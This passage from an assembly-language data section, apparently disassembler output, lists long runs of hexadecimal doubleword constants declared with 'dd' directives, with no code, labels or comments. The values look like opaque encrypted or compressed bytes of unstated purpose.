		dd 0EF937DFEh, 3B270A63h, 0F2B8032h, 59180B72h,	3797D038h
		dd 0B5F1ED6Dh, 52D80595h, 513DB36Ah, 7F66BBAAh,	48A98996h
		dd 6D5E8F22h, 0F5AF883Ch, 0C3237A01h, 54AD95CBh, 0E7FF69EAh
		dd 0CC9149EEh, 9C74B3BCh, 89944FD9h, 1017146Ch,	34BD76F9h
		dd 92E154C0h, 613AF218h, 76F26CDDh, 63E408C6h, 0C350E5BCh
		dd 27873EADh, 0AABDD9Eh, 0C4340B32h, 866BAA82h,	5218382Fh
		dd 89BBA30Eh, 5B4CD4B5h, 0EC7E980h, 7A1C47B6h, 55C06489h
		dd 446F961Ch, 0FC37105Ch, 8D6F7698h, 0BC86C292h, 0E5B51F46h
		dd 461D36D6h, 0C3F0CDD8h, 6FAEC863h, 0D3327B7Ch, 72034722h
		dd 4570B69Ah, 0FE5A63FEh, 0BC40C0EDh, 5493F212h, 5F48A348h
		dd 0EEE0C9FAh, 3CA6EAA2h, 0E4551DE2h, 0B0EBD9F7h, 81084C21h
		dd 475C92C0h, 3A4DDD07h
		dd 0B70083F8h, 51B6646Fh, 62C99599h, 1D15D4B5h,	0EC61AF4Ch
		dd 6F6FDFF4h, 608E7996h, 49EE6506h, 45F1F458h, 3F59D1CCh
		dd 0F8EE9F8h, 2CC9E5EAh, 0E14BF7D3h, 48B3303Bh,	50465A4Eh
		dd 51D478B4h, 463ED6A0h, 0C39BA755h, 0FFFF025Dh, 5BE2B847h
		dd 759CC8F5h, 0C3EBF57Ah, 2E9D2918h, 14E1D226h,	9F06B1F1h
		dd 3DAA601h, 70272493h,	3680EDB2h, 3B88C5AAh, 0BC8A0C12h
		dd 0BF77F4D3h, 9872CB5Bh, 44D06D93h, 42146297h,	0FAA26CA6h
		dd 7BC740B7h, 0CDA214D4h, 0ACA524CEh, 1AF6757Dh, 0F2DD3412h
		dd 0A27D13B2h, 619F3EAEh, 0EF748558h, 840A450Ch, 5E4AA669h
		dd 0C82C9146h, 0E8957F15h, 64691ADBh, 5131B2B7h, 39F96621h
		dd 0F807461Ch, 2DCCCB28h, 2E43BF99h, 0A18C4D86h, 0EEA85387h
		dd 70CB00B6h, 0EA9DD2F6h, 0A4E3A99Ch, 0D42F6B17h, 912412CBh
		dd 8EFD3A49h, 5E91FCFAh, 0C9506C3h, 0F0B759B7h,	0FB1E2FC0h
		dd 634C8107h, 8D946423h, 5D26BF7Dh, 29290ABDh, 0B027697Ah
		dd 4C0D3C5Ch, 9CE349AEh, 0CCF35CE4h, 52B39974h,	4F1132C9h
		dd 33A2B0F1h, 6FC9E6C8h, 1D752F29h, 22E64F13h, 5A45E668h
		dd 42393728h, 115C1576h, 0F7802F06h, 0DE079B10h, 595F7D8Ah
		dd 0E04AA456h, 6A6A26B0h, 2CB7B492h, 9D6028EFh,	0E3477AEAh
		dd 0F2A82303h, 3F548B99h, 9E2CC27Bh, 0BD154B6Ch, 30053C1Bh
		dd 0C18F7B23h, 489312F3h, 14C9B24Ah, 2E95C5EBh,	1FFA5578h
		dd 2436AF93h, 21E88B11h, 958AB805h, 0DC769CE6h,	0BE4D41AEh
		dd 349C3E58h, 2D00DC42h, 0B11D1AD3h, 37BBF197h,	8915D4CAh
		dd 0FAC5F963h, 0AA31A9B1h, 9AABCA34h, 3BF0691Ch, 78409CA9h
		dd 0F822863h, 95C0396Ch, 0C17E785Bh, 404DA1Ch, 0D17EB05Bh
		dd 3EAA90C2h, 0C89CDE5Bh, 78971933h, 154C7676h,	11D844B7h
		dd 6A56724h, 0F5A9075Dh, 960790AEh, 68A9833Ah, 63ED1F73h
		dd 251249D3h, 0A31B8E30h, 671EE793h, 0A8940221h, 0A1976891h
		dd 207ECED4h, 5CE84BA6h, 19DB4E68h, 0CE7D3F9Eh,	1A22CA6Fh
		dd 0EF8292Eh, 6D5D5A80h, 97576259h, 0A30494EFh,	0A23CFDE4h
		dd 0B92E19DCh, 8A5C5079h, 4D31EC5Bh, 0AC8E0AA5h, 82425C08h
		dd 0D5C96883h, 7C1EF0D2h, 0AEDEAB24h, 0B519567Fh, 287FCE41h
		dd 0D098ADAAh, 7C554EBDh, 3A024ADEh, 8A1A4FF2h,	52D30D05h
		dd 7C0711AEh, 6E4034C4h, 6AAE87BBh, 0CA35D4B1h,	0E83EE80Dh
		dd 55B3928Ah, 0D21BE2E5h, 0E94B3524h, 1034980Dh, 88189D4Dh
		dd 90B7FC0h, 8B51517h, 96F380CBh, 0D662076Fh, 0DE907766h
		dd 0CF69EE01h, 3CAF1B76h, 0B68AEDD5h, 0EA78D97Dh, 21ECBB99h
		dd 51E14951h, 7B788DD0h, 343B1EA0h, 0F7CF0F3Ch,	0A59D67AFh
		dd 196D2E0h, 8B8B57EBh,	0C65ADE1Fh, 8D23D32Ch, 7EDFBDE7h
		dd 6EDC36FFh, 0A90C56BAh, 45D65B2Ch, 0BE5A3E3Eh, 442A7872h
		dd 0CEC8C084h, 5F632DB6h, 3AFB30E6h, 0F56C34C2h, 0AB8D86EAh
		dd 802CF10Ah, 0D6F00787h, 9EE20955h, 7218B981h,	0A7BA45B3h
		dd 269D8F7Fh, 7C6673A8h, 3D3B56DBh, 0D488173Ah,	28FF5243h
		dd 0E26F0145h, 3DEC9E9Dh, 0FCE9A1F0h, 3BF6238Ch, 147BC28Ah
		dd 30F5A11Ah, 0C07C3136h, 52840081h, 81779BB9h,	3F1DEE2Ah
		dd 2547A808h, 94BBD9E7h, 0C19B9850h, 0A4B9FCAEh, 0B30D94B1h
		dd 270663F5h, 0F3AE6D5Eh, 2CDB5AD3h, 5D6136EDh,	8469874Fh
		dd 0FE1461E3h, 0B7A0ABDh, 0A6FA12AAh, 0CC0BE961h, 2601D651h
		dd 5828463Ah, 7F943Ah, 334F5060h, 1B443FCh, 1F18688Fh
		dd 1DCA625Ah, 0FA58F1E3h, 0AC684D69h, 0AA7168CAh, 9CDB989Eh
		dd 5E53B15Ch, 459DE164h, 0C301A1BBh, 0A07EA9E6h, 5E8BE1BAh
		dd 0D0E55ACEh, 0FC9F8DABh, 857A8191h, 7829112Ah, 0B04E46E5h
		dd 0FA379312h, 45557C4Eh, 35A995D3h, 0BE375008h, 8AE01317h
		dd 0E695D3EAh, 0C248F0DAh, 0E5BF49BEh, 0B3F9F066h, 4C0ABB0Ch
		dd 30B64C71h, 7428FED8h, 171A8B9Ah, 7E885E91h, 0D672B7EBh
		dd 7FC7A99Ch, 0A4381E5Fh, 493A9BC7h, 4178419Ah,	0DB4B2179h
		dd 0EE60B0h, 2DFE299Eh,	8D3C36A5h, 790E3E95h, 545BFC9Eh
		dd 0BECB7D45h, 2702AFF0h, 8DC7E3E0h, 13E2DD57h,	0D0FFD0B3h
		dd 743DB438h, 9018AE5Dh, 843EE969h, 80ECFE1h, 0F78F3487h
		dd 9BA61CF5h, 5FE9C6D6h, 788BE826h, 0DF72D2D2h,	2994FF42h
		dd 4953E595h, 1DFFA399h, 2CAB00E8h, 4F30A450h, 0ACB96B89h
		dd 9D09D06Ch, 0E1DCBFFBh, 89235844h, 19B4609Dh,	60CE624Fh
		dd 0C04553DFh, 3D8B6CE4h, 0F8CB7D0Bh, 3E16D1Dh,	0E13CB93Bh
		dd 65FAE6C9h, 4D76A54Fh, 5E01156Eh, 0F793AC69h,	80F5A6E4h
		dd 9C840DA7h, 790E5E39h, 4616CF08h, 91A472F4h, 38F2A0E0h
		dd 909417C0h, 3C3BEC24h, 6DECB26Ch, 60FE8E81h, 0F508E7AAh
		dd 9EA27FA8h, 0BAD1A654h, 30F8454Ah, 8321B981h,	94FE338Ah
		dd 0ED8A4DF1h, 2FB992C9h, 0AEDCCD5Ch, 0CED772Ah, 6813CF1Fh
		dd 42C77F2Eh, 1FF4FC8Bh, 0E7D7B99Ah, 7EB9E5Ch, 0F8B7F70Ch
		dd 3D39A9F9h, 0D0864FBAh, 425B90EDh, 742967F9h,	0BA596006h
		dd 0CAF03FCAh, 25AFFDC8h, 0C648638Bh, 937500B3h, 0BCF7FA46h
		dd 0EA46CA81h, 29ED494Dh, 8C9AD2E4h, 0AC1D51E1h, 3A2759ADh
		dd 1FF50BE7h, 0ED9ED884h, 483578A7h, 0D6508EDEh, 2EA74DE8h
		dd 83B926B3h, 0ABB89FF6h, 70D6207Fh, 0E0FC87E2h, 9B4EA58Bh
		dd 9591A33Dh, 0A6B1C4Fh, 0FBFB48C1h, 0D44CBB86h, 7DFABF41h
		dd 53A2D6B6h, 0BA9ACF3Bh, 0B168BAFFh, 5C6E9620h, 0BF522962h
		dd 90B7DE2Bh, 33CC5048h, 2F59F5Eh, 6420312Ah, 0F3D736FEh
		dd 2D782599h, 0FD626360h, 5388B03Ch, 0DF2D1366h, 0EB756D7Bh
		dd 894B4FCh, 4E8F67BDh,	0A4F551FCh, 7560E4A6h, 0A4768B5Bh
		dd 0C6E96FBAh, 61B8567Dh, 63DD9129h, 6AF3B913h,	48F88D12h
		dd 3436471Ch, 5230965Dh, 9BBA9082h, 6AC53242h, 0CF19C4EFh
		dd 0A2547AEDh, 43F6C2D3h, 6ACFD484h, 0ABE9751Ch, 0A8D46EC4h
		dd 0BE0F8FEDh, 0A89E3F69h, 5E347DC7h, 254FA67Bh, 0BF42AD8Dh
		dd 0B0AB87Fh, 0C22B6CC4h, 0E3EB387h, 0F5F266CBh, 2237DAA1h
		dd 0A01FA663h, 92FD076h, 0A6977FA2h, 4266AA80h,	2765E811h
		dd 0B689C93Eh, 79A90E6Ah, 0CE18E279h, 279ADAD8h, 57F8C4DCh
		dd 0EAA0046Fh, 64D6A550h, 0D84A8A8Eh, 6DB31908h, 0F14B5E4Bh
		dd 0F828935Dh, 5CEC141Bh, 0E20A4D3Bh, 5A4FA893h, 0A37CADC9h
		dd 0EB18B89Ch, 1E56B4C8h, 91A27C13h, 63CEC551h,	0A20A4477h
		dd 2BB92B85h, 0B097B4F1h, 8672A37Ch, 5FB87D98h,	0E2F7589Dh
		dd 0BD4D7629h, 0AC22D9F2h, 955A3F73h, 4D554B68h, 84D1A428h
		dd 0DA9593D1h, 0F2FC0E5Fh, 15385414h, 0D324793Bh, 9B8BBD5Ch
		dd 0C64DE1F6h, 210BA985h, 0A7795D49h, 56DF23Ah,	0DB1C7BEFh
		dd 0C9E2B9F7h, 61913B65h, 19C00365h, 9DA19825h,	8B1A5E0Bh
		dd 5749A2A1h, 4198A95Fh, 39FE8771h, 0AD69F14Ch,	0C44A8078h
		dd 30838788h, 24935624h, 6EE00004h, 0DB8B1A32h,	47D4FAEDh
		dd 9362C56Dh, 0AAC083A0h, 172B7FFFh, 0DBF82699h, 0F9ED747Ah
		dd 0F61F3190h, 846E03A1h, 1B22CA24h, 0E6F95755h, 0AF7A71D1h
		dd 310BD2B9h, 624DCF36h, 51B972B9h, 32CB2743h, 0CC962EC8h
		dd 2CA4B22Dh, 0F6446131h, 7BB81C5Ah, 0B18F2CC8h, 62B74FF5h
		dd 3D51E635h, 62BF9C27h, 0EF42C051h, 0BDC64AFEh, 1AE2CAE6h
		dd 160A62CDh, 0FD4F9814h, 0D8B89363h, 671122A8h, 0C49AF3C5h
		dd 0FE7DD0E1h, 206A2CFAh, 7EE3FAE0h, 0DCFCA4C6h, 699DEBC9h
		dd 22DEB87Fh, 913E0051h
		dd 0C82D4D24h, 9E8EE179h, 0A5A736DEh, 979A1F73h, 0A46964ABh
		dd 608BDB62h, 0E503A3C3h, 1F5E1CE7h, 75C91A2Bh,	764ADC09h
		dd 4391487Ah, 0F0D99996h, 926860E0h, 27EEB98h, 0A950CF48h
		dd 25938C35h, 1C138072h, 8D1CFC40h, 8383A78Ch, 3F37B229h
		dd 32C5D7BCh, 0B9DB20Eh, 0B5A50FC5h, 3127368Ch,	27F8F960h
		dd 0F0899C3Dh, 0EA94106Ch, 2FB42DE9h, 0C806179Ah, 504A5707h
		dd 0EB83D9A0h, 48E0A7Ch, 50566C66h, 0F8A9F559h,	4B2F7B1Ah
		dd 0BD6169C8h, 2A150697h, 93B23298h, 1C5D4739h,	617BCD5Fh
		dd 0A8E93E01h, 7241A89Ah, 0C5827202h, 2878C918h, 9CEA5942h
		dd 56FED7FCh, 0A2A7C665h, 0F698EB9Fh, 6531C751h, 390C4886h
		dd 0ED219069h, 0D2EB16E7h, 0A31FBC71h, 0E1198420h, 6D330D2Bh
		dd 0CAC384E9h, 0D249DD4Ah, 7347E316h, 3A1FB07Eh, 0FFD156D3h
		dd 0FB7BE095h, 0C2939016h, 1D3103Fh, 0B94ACFFFh, 0DCB44E67h
		dd 2D64CB2Bh, 0EC49AC9Fh, 321FDD61h, 0A8BEDF59h, 3A97F4CCh
		dd 0FD066F74h, 0F0DFA144h, 0BE396BE6h, 7AC58296h, 5BA05FBEh
		dd 451E5EB7h, 17FA2077h, 54F0FDA3h, 0BE9BB16Eh,	80140677h
		dd 127F6459h, 65D3DF82h, 0E8506CB6h, 310D6387h,	0D5C56195h
		dd 0C4D2FBCh, 0AE264027h, 321AA662h, 1DF6D395h,	78EB63EEh
		dd 0E1C5A119h, 0CF1A126Bh, 0A14A6DBFh, 1D7E94BBh, 0FCED8F2Ch
		dd 0FD6E0415h, 4B71E73Fh, 0B1028275h, 2C243C01h, 8F55E48Ch
		dd 67CD97D1h, 0C9280319h, 253973BEh, 9BF2684Ah,	0A50F522Eh
		dd 298B978Ah, 0BEF27993h, 26AE7087h, 0A4664DE1h, 50D35522h
		dd 0A8BCF69Ch, 0E41E3C6Eh, 7531B761h, 1307B2FFh, 0AA049912h
		dd 0F731ED27h, 0DBEDD418h, 71B9977Ch, 0DF721062h, 91D5975Dh
		dd 0B254D52Ah, 0D7D3E0D9h, 0A0A0C35Eh, 0C552D52Ch, 0A21EF89Bh
		dd 0D7333EA1h, 0F53AF6C9h, 6970E80Ch, 304A3894h, 17299C58h
		dd 7CCEDED5h, 0A743666Ah, 0A7CE90BDh, 0DF266B59h, 5851590Ah
		dd 2562D856h, 25777D51h, 215E6F76h, 20F1A75Fh, 212C9E14h
		dd 4B9BE5E5h, 61DDE626h, 0C4FD3856h, 2C95FCB5h,	9A5CA048h
		dd 0A2E61FFCh, 908EC9BAh, 46CB6B4Ah, 9BF69F8Bh,	0CAF5E059h
		dd 0AFE88306h, 2A4CCDA9h, 9ECCF1ADh, 3DAD4AB4h,	0B392FB7Ah
		dd 0E23E72Dh, 0CFF26FF3h, 0D935BDD0h, 0DA1F098Dh, 0F902800Ah
		dd 314E9FA3h, 0BB578F31h, 8931E16Ch, 0E7918F5Ah, 0A703BE37h
		dd 0ED3D527Ah, 2A10BB31h, 68D8FD23h, 0B241A413h, 0BD3AC7F2h
		dd 2726536Eh, 0EB733A0h, 0EEFA2087h, 5A73BD8Bh,	0D3DEAC93h
		dd 0B2702C97h, 0DB6C2FAAh, 35D27FC6h, 74EB82E9h, 2117BFADh
		dd 510C0BEAh, 0C48EB269h, 0B0B6D7A0h, 7A6F3E14h, 77273BFFh
		dd 833B067h, 0C7F06A62h, 0A3CE5D87h, 41399B7Eh,	0BED24387h
		dd 7C9D4A30h, 31BEB352h, 0F0AB8778h, 0FE8DC720h, 348C0133h
		dd 3E129240h, 0CB65FC1Ah, 7AEA0006h, 37147904h,	319EA33Bh
		dd 77665A87h, 63698AEDh, 0DB9B9531h, 5D5762F8h,	7365815h
		dd 2A88E82Eh, 29620FD9h, 3E6DAD04h, 20CB1B95h, 0A718349Fh
		dd 53B73C93h, 42F21D7Eh, 0DD7A4DA3h, 85AB4D1Ah,	2D0B304h
		dd 191A9BC4h, 711C5454h, 731D3749h, 0DD39C619h,	7A1AED94h
		dd 0B10B8FFFh, 0AD5AAA9Ch, 82E38A68h, 0B30E38C0h, 47A19322h
		dd 7C7882D4h, 6445062Eh, 95DF121Bh, 0C9848504h,	514241C6h
		dd 0A5C2E5DDh, 18E5FE55h, 2E6292A4h, 93B75838h,	4472344Ch
		dd 0F3BBEE69h, 0BDC0E938h, 0F804CCEBh, 0A3014AF9h, 4CC330BCh
		dd 48051818h, 0EF2FC32Ch, 3E61E5DDh, 57600D8Ch,	56E729Eh
		dd 4408986Dh, 0D7C6828Ch, 975AC047h, 2B433E9h, 0FF1CE24Ch
		dd 18FD9FF2h, 95857D35h, 0FE4DBB44h, 31050C0Dh,	4EE85330h
		dd 60B8FBA1h, 13B29D74h, 0B43547B1h, 0BA7208D8h, 7D279F2Fh
		dd 0E11254D5h, 0C338661Ch, 476BF8EDh, 0F863EA01h, 0FEF6879Eh
		dd 8D1EC5B5h, 8539A25Eh, 5D12FF90h, 4977D858h, 5ABBF606h
		dd 0A04188CEh, 2A1F385Bh, 5B1FE067h, 0AD106E2Eh, 72AFF9C7h
		dd 0A463CFFAh, 50566331h, 43CB4566h, 0C239C0EFh, 6F431386h
		dd 0B89F7037h, 0CAF36DAFh, 6435E667h, 3732AB57h, 7074DC6Ah
		dd 6D83DF15h, 6EB811B0h, 44F93280h, 98C1F2F7h, 97D4FC0Eh
		dd 75235070h, 8C0C6451h, 901CF744h, 0FA4C86CEh,	5D9CFFFFh
		dd 0E9BA4CA0h, 7DA23B72h, 0D460347Ah, 0C56FE11Fh, 0D08BF08Fh
		dd 2463615Ah, 0A38C5C71h, 0B634260Bh, 571F97C1h, 0DB35D7FDh
		dd 6D694439h, 31A39E8Ah, 7CBEF7AAh, 0CE6DA5EBh,	8688198Fh
		dd 5FFBBBE8h, 23E6F2DDh, 0B3691DE3h, 3FB05AFAh,	1471E556h
		dd 97BF074Fh, 700B42CEh, 0C6DAA744h, 958AB9E7h,	16552495h
		dd 2F5CDA82h, 911D2C87h, 80C1636Dh, 738A2699h, 638CDB79h
		dd 0B6FE2388h, 0AF2382A5h, 5097B31Fh, 0B722FEE0h, 0CCAF3C75h
		dd 0E79E1067h, 0FDF40893h, 507F2445h, 0F24E51FBh, 24F45EEEh
		dd 0B3BBB174h, 68D9C2Fh, 0A4EC4278h, 0FF013DDBh, 61E184EAh
		dd 4602E08Dh, 0D08FE81Ah, 0E2D3AEB0h, 3816D3FDh, 0AE806528h
		dd 0D48FF303h, 0D7C353A6h, 4EC36B64h, 0ABE647A5h, 5DA75FA3h
		dd 95A07E59h, 0C0F139CDh, 1F2C3624h, 0AF55C593h, 8D03095Fh
		dd 0AC6F3609h, 0A7235873h, 9DC91468h, 0F0662CFEh, 1A18F820h
		dd 95D05F1Bh, 2F680A9Eh, 6B47F657h, 32154B24h, 0B8243F6Fh
		dd 5BA75B2Eh, 4E371E61h, 0EFB0A950h, 0B3AACB2Ah, 356C805Bh
		dd 0D526AFFEh, 8EF31FD1h, 0F4C27A2Ch, 45DEC5C8h, 0C044EC90h
		dd 6B75C60Dh, 8711F4D2h, 6790FEDh, 0D24505BFh, 7776729Dh
		dd 0B292A543h, 0E7D509D6h, 0FC9E1F86h, 0DEAF9582h, 0BD855FC9h
		dd 1725786Ch, 68B98755h, 7A35519Ch, 0DF58E6Eh, 78B0D288h
		dd 0F0F5617Bh, 2E3CAF79h, 9E962078h, 0D0847912h, 610917F1h
		dd 0F2D38791h, 0EFC2BDC7h, 0E31D07C0h, 0E629AEDEh, 0BDC440E3h
		dd 0CD644446h, 9D42C92Eh, 3D0EAB2Eh, 0AF58BAC0h, 41BAD6AAh
		dd 52145758h, 87BC6088h, 0E8EE3344h, 0CC639021h, 0AB85F1Bh
		dd 89729239h, 0B7481ED2h, 83928F91h, 1A3CDC19h,	51AB2BDh
		dd 35CED341h, 414AF425h, 8B9245B6h, 3D235CAEh, 9922D93Bh
		dd 0A915DC01h, 79085FCAh, 57ED6615h, 51268B39h,	95C793D1h
		dd 0B1944484h, 5D0B297Bh, 4CB488EBh, 2DAAC28Fh,	0CD1DAA6Ch
		dd 61B62B59h, 0D06A50A4h, 2F7E5C82h, 0F2DB2B04h, 6CF46A3Dh
		dd 29C2DBECh, 90B8168Fh, 5A7089CAh, 2F23BF98h, 1A35232Ch
		dd 779671BFh, 42DB0C19h, 0A1A4E40Dh, 68678930h,	0DB270396h
		dd 7EEA29E8h, 4E3FA1E9h, 0B17264C8h, 0A9E5717Bh, 6FFE7980h
		dd 2FAD04CFh, 4ACFB12Ah, 0D4F12519h, 721CA905h,	0A3C72C9Ah
		dd 7154E4A2h, 0D54AC2F4h, 0C1AA0770h, 2628BD7Ah, 826D5F5Dh
		dd 13106804h, 59F495E3h, 3E014525h, 0EC7B92BFh,	5194D414h
		dd 0D4C58113h, 3CAB7304h, 75C1B379h, 6DA69735h,	0F3058C86h
		dd 8DA5C204h, 7A55C585h, 7106939Fh, 17D55FCBh, 5364F82Dh
		dd 0C55B153Eh, 0CDB99569h, 8B7239BFh, 4C0EAD72h, 309AB0DEh
		dd 0B37BCFA8h, 278BF1DEh, 0D30A4177h, 0E420EC64h, 5ACA57CDh
		dd 0F4493536h, 65E2BEA7h, 7D3B210Bh, 6F2DD645h,	9D3CCB41h
		dd 0AFE11AA5h, 0F1064582h, 76C68103h, 21C0990Bh, 0F687CE20h
		dd 85CF6818h, 702D17E5h, 12B60799h, 27F294B6h, 46DA7C9Ah
		dd 907CB732h, 4007EAD5h, 9DF7FF86h, 307886C1h, 0FEB0B317h
		dd 13E89538h, 0E0FAB00h, 0EFB540EEh, 17EDC40Eh,	0AD4E901Fh
		dd 0A1D9B02h, 3C44979Ah
		dd 3FE113C4h, 84A92AF3h, 48C86AA9h, 6450A89Fh, 0E7B362ABh
		dd 85AD56EAh, 3137ECBFh, 0D9B21E8Fh, 0EEE17E50h, 5092451h
		dd 47590C59h, 0F01FB9F3h, 0ACDCB4F8h, 59045063h, 4AE5146Ch
		dd 0F7A59302h, 0CA2DAB65h, 0E3BB067Fh, 7C448433h, 50CB5F58h
		dd 0B1F1C7DCh, 0F97F7C12h, 912BEAC7h, 22845D11h, 4A399971h
		dd 3A2BA71Bh, 9387960h,	0BBA8A1FDh, 2EC738F4h, 866FB632h
		dd 0F62571F2h, 53BF0A63h, 0E59A7A97h, 0A992746Fh, 0B5EFC639h
		dd 4FCDACBFh, 70BE494Eh, 2F558B4Dh, 6A000064h, 43234C1Bh
		dd 8C7AA695h, 0BB705B48h, 0C9681FAFh, 719069A0h, 0ACA2227Bh
		dd 0E3D5DD42h, 0D65DA33Eh, 0DEBA7C3Dh, 0EBF96200h, 5D4319D3h
		dd 0DBC43367h, 21640675h, 2F9DA1C6h, 84503AEDh,	3AFFD22Ah
		dd 76A5CDD3h, 72A51981h, 5DF5CE69h, 0BFFB45BFh,	9C65D355h
		dd 89EC0583h, 1EEFBB60h, 923782D3h, 0B50ECF06h,	1BDBFB42h
		dd 0C029A456h, 0BD42250Fh, 21EB60B7h, 0EF96D2E2h, 45A9D765h
		dd 0FA6B0B0Fh, 10A07A40h, 4D6554A9h, 36B48D20h,	0E9AC5F82h
		dd 806AD951h, 4D2624E7h, 40BCF0E6h, 0C6B25218h,	2DAA6740h
		dd 83C175B8h, 53A07B57h, 8590A6EBh, 0EEF864h, 0C7E6634Dh
		dd 0BFF58558h, 822441D1h, 7B632B27h, 46B7EBF6h,	717AD38h
		dd 66FE68F4h, 34F7A7CAh, 92AC224Bh, 0B13473F3h,	0F94AB9BEh
		dd 0BF1ADC6Bh, 4704C462h, 9BA047B8h, 33425B26h,	0D535729Fh
		dd 0EEC57BC2h, 0AEE9C4B1h, 897A876Eh, 1D6331F2h, 1B69CDEh
		dd 0D07E7EEFh, 0EBFD596Ah, 8AA6BFB6h, 0EC4302F8h, 1FF9E305h
		dd 42B78006h, 0E398B42Bh, 3A1963B4h, 3F7E736Ah,	40610CA8h
		dd 7E5EFDF6h, 0BE7DE598h, 478B6ACCh, 0B6CBA5F7h, 0DB5C0D1h
		dd 0EC07F6B4h, 3E6B57AEh, 34626124h, 0F7E05B40h, 0BC3AADBh
		dd 0C8CF9BEBh, 0E50BC755h, 0CDEBAA4Eh, 0FAE56A6Eh, 4FE3A609h
		dd 0E2F7D79Ah, 7D98D5Ah, 5679A77Bh, 86354696h, 717383A9h
		dd 81D1DC21h, 21531327h, 8A5FD10Eh, 0D21FA26Ah,	1C003935h
		dd 0D20CF95Eh, 0A1E786E1h, 9473D96Ah, 0EDC53AC3h, 839FED7h
		dd 2B9CDC8Fh, 986439C4h, 0E597FCE3h, 8DCC6CF8h,	0B5E1639Ch
		dd 267EC4DBh, 0B74292BDh, 34B18A6Dh, 381FE8A6h,	4026258Eh
		dd 0D9AF52C7h, 0A640B604h, 0E87DE345h, 641B0A4Ch, 0B9EA13A0h
		dd 9E81C997h, 0AD943D83h, 852347CDh, 0C7B2DA12h, 0B24DE19Ch
		dd 165D97A6h, 69F42EAAh, 2303CF3Eh, 0F0AEE632h,	0A75812DCh
		dd 0A26C26D6h, 3D59D72Eh, 46FE6621h, 0F298C17h,	0ED392CC1h
		dd 0F7F2ABFEh, 0E2F5F9E6h, 0A29AFB61h, 0F3068C4Dh, 5DEAFB52h
		dd 0C60820FCh, 0C0CB493Ch, 200151EEh, 17F27584h, 57402067h
		dd 2144E1Ah, 0AB718A08h, 85C78CAAh, 0BFA5FCE1h,	0CD22BBFh
		dd 89077279h, 0AE29EF85h, 767716BCh, 0D7019102h, 89322CD4h
		dd 0FA2EEB6Bh, 99017794h, 0C5064A86h, 14188788h, 90922E72h
		dd 7460836Ah, 0F7452F2Eh, 0CAFE726Eh, 0F0063D39h, 0EFE5C7A6h
		dd 38BBB44Ch, 28962225h, 0D54A6D39h, 1A8D63EEh,	26A45215h
		dd 0FBB69A03h, 0DBFC4B82h, 253AE988h, 0C349EC7Ah, 6F339D29h
		dd 0DC077F25h, 2DAD81D0h, 1B356788h, 0C0481872h, 9B7A23C2h
		dd 67242ADCh, 5C9C4673h, 307A860Eh, 6583B2ABh, 0CD37D53Dh
		dd 0DAD617A7h, 0B5D9E39h, 9B65A728h, 0DDB6BFABh, 487E74B8h
		dd 7C7BA2h, 521F1A9Fh, 0C767F8AAh, 0D0CBF23Ah, 913DF82Bh
		dd 358320h, 0ADAD6860h,	934870DBh, 34E607C0h, 0C7B7CF77h
		dd 0E505A65Bh, 11CF4C6Fh, 0F79CEFDDh, 0A0200FF5h, 5EE079ACh
		dd 3CE6883Fh, 0C625F2ACh, 0E959471Fh, 0D13823D3h, 536109EEh
		dd 418875B5h, 49192649h, 1B65E3h, 5DF7C757h, 9B10B4C7h
		dd 0C57F31C6h, 690657B6h, 14F9CA2Ah, 0D1D963Ch,	8C5F5BD3h
		dd 345FC23Ch, 0DB1D213Dh, 0E0BBA5DDh, 4132453Fh, 0C099620Bh
		dd 0CABBE4A2h, 0C75E834Ch, 5FADE446h, 0CE516D82h, 14228815h
		dd 0CCA1E924h, 3B88FDC7h, 7CDD6490h, 5FB3B89Fh,	0B929EF25h
		dd 7312F5CCh, 81C8B665h, 4B28F9A8h, 3542920Eh, 1AD2A1B8h
		dd 0B1A41400h, 0CD201DA2h, 0EC87282Bh, 917AC63Eh, 93219721h
		dd 0CD4F1D0Ah, 3568C970h, 46289DD2h, 11DA66E5h,	286642DEh
		dd 0A98558EDh, 5936F6C2h, 7012D945h, 1ACE38CAh,	0A3B6CE47h
		dd 0A1F67D0Ah, 207415B1h, 21473F10h, 670D5B4Ah,	0D8C4295Ch
		dd 0DCEC37F2h, 4DEC524Eh, 2AB25725h, 8C33C687h,	4F7C832Dh
		dd 3FC2096h, 0B4ADD61Fh, 47D604D6h, 55070342h, 0FAB86D75h
		dd 2E11ACA4h, 0E6182F97h, 85DDFEC4h, 0CA463973h, 0A1865C40h
		dd 0B3CF22CEh, 0A5D65024h, 0F841EAB6h, 0DE7A6067h, 0D6006E58h
		dd 91C9042Bh, 0ADF06210h, 0AA83A06h, 96EB3D5Ch,	77CE4BDFh
		dd 132AC6D5h, 0BFE3E7D8h, 12DFFE19h, 30C29634h,	879537D1h
		dd 0C7DA1E3Ah, 39707901h, 6DCC372Fh, 9F90FB08h,	6E354B01h
		dd 0A067281Fh, 9F86EBE8h, 802090D5h, 0D121BBA9h, 5828E21Ah
		dd 791C39F7h, 2DD2D6Ch,	6A8BAB89h, 0FFE69581h, 54047658h
		dd 0E7E74B38h, 21F47F57h, 0DC24D53Ah, 0D5989DFh, 66E040D1h
		dd 0FB821A57h, 0F90612B6h, 0CF39446Dh, 0DB2265BBh, 977063B4h
		dd 593C4B89h, 4B547FC7h, 29CC4C6Fh, 43D2AB01h, 8BEB5907h
		dd 0AA59763Dh, 224BE9D3h, 94C2900Bh, 99654F30h,	607DB127h
		dd 0E0519F7Bh, 0E3301F0Ch, 0CA5AD2E6h, 8902AFDFh, 0F5158785h
		dd 0ECCDD5C9h, 87EA552Eh, 9EF67826h, 82266649h,	40EFB3E0h
		dd 44521BB7h, 0DA841464h, 8E9BA79Eh, 73533EAh, 0DE8D82C7h
		dd 0DAA92E62h, 0E6B01041h, 9402BDDEh, 0C4329974h, 601622C0h
		dd 0FCB1F282h, 0AD161B1Eh, 26A5F665h, 0F86ABF35h, 579BA23Ah
		dd 0E5AE55E1h, 3FCAE87Bh, 0EF9F2863h, 4721B02Dh, 0DAB108B1h
		dd 8B460660h, 2FF142Eh,	6A7B6F91h, 76C702F4h, 9E2F5204h
		dd 0DB2BCDE6h, 6CF8ECFh, 0E5FA76F4h, 0A548E6F6h, 0C65364h
		dd 0A4F28381h, 0DE199C55h, 545A5BC1h, 2878F4F4h, 0E3C51C9Ch
		dd 30C0E4E4h, 0FD3C4856h, 0B1E1F51h, 64453D7Fh,	0D302965Bh
		dd 49E6184Fh, 7BDF6921h, 2898B9AAh, 1D7FB6B5h, 65C135F8h
		dd 465D2BEDh, 71ACD734h, 0CFE5B1C2h, 0C14F6A0Ch, 0BE82113Ch
		dd 0B11B15C7h, 0BECF6035h, 86A06AB7h, 93751E5Eh, 0C7B56A02h
